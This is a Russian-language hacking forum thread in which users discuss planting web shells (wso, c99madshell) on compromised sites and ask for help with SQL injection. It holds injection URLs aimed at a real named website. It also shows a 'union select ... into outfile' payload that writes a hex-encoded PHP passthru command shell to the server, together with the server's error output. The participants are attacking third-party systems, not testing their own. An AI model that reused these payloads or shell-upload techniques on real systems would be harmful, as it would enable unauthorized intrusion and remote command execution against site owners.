извини, возможно я что-то не догоняю, но скорее ты похоже меня не понял:
* я залил шел через control/index.php - он имеет "право" создавать файлы в photo/
* я (в той же сессии, тем же браузером, и прочие бла бла) захожу через photo/158.php.jpg и тут уже нет прав на создание файлов в photo/

если можно загрузи wso, посмотрим что тут творится,а то твой шелл просто ужас,глаза уже заболели =\

у меня тоже такое было,даже не мог посмотреть файлы на текущей директории

158.php.jpg это wso

DrakonHaSh, грузи другой шел который обходит Safe-mode

warlok посоветуй плиз какой конкретно, я пробовал c99madshell и wso2.4, другими не пользовался

[добавлено]
попробовал PPS 1.0 - Perl-cgi web shell by Pashkela, но отображается текстом.
залил такой .htaccess
проблема решена

но если кто ответит на мои вопросы то тоже будет очень клева

Не могу составить правильный запрос, наверно дико туплю
http://www.macemates.net/news.asp?P=7+AND+1=2--
http://www.macemates.net/news.asp?P=7%27+AND+1=2--
http://www.macemates.net/news.asp?P=7%29+AND+1=2--
не прокатывают, как вы составляете правильное выражение ???
пожалуста пример если можно

не прокатит
Microsoft VBScript runtime error '800a000d'

Type mismatch: 'Cint'

/news.asp, line 110

Microsoft JET Database Engine error '80040e14'

значит бд у нас Microsoft JET Database. следовательно запросы передаются на низком уровне. =(((

здрасте

Не Могу понять в чем проблема..
делаю такой запрос :

6+union+select+1+into+outfile+'1.php'+--+

на что получил ответ :

display_db_query: SELECT content from page where id = -6 union select 1 into outfile '1.php' -- File '1.php' already exists

ТОЕСТЬ я могу создавать файлы ?

потом делаю что то такое:

6+union+select+load_file(0x3C3F7061737374687275282 45F4745545B27636D64275D293B3F3E)+into+outfile+'1.p hp'+--+

на что получил ответ :
display_db_query: SELECT content from page where id = 6 union select load_file(0x3C3F706173737468727528245F4745545B2763 6D64275D293B3F3E) into outfile '1.php' -- File '1.php' already exists


и как мне теперь проверить что у меня получилось ?
где мне найти этот '1.php'

если кому не лень можна и попадробней в PM

спс за время.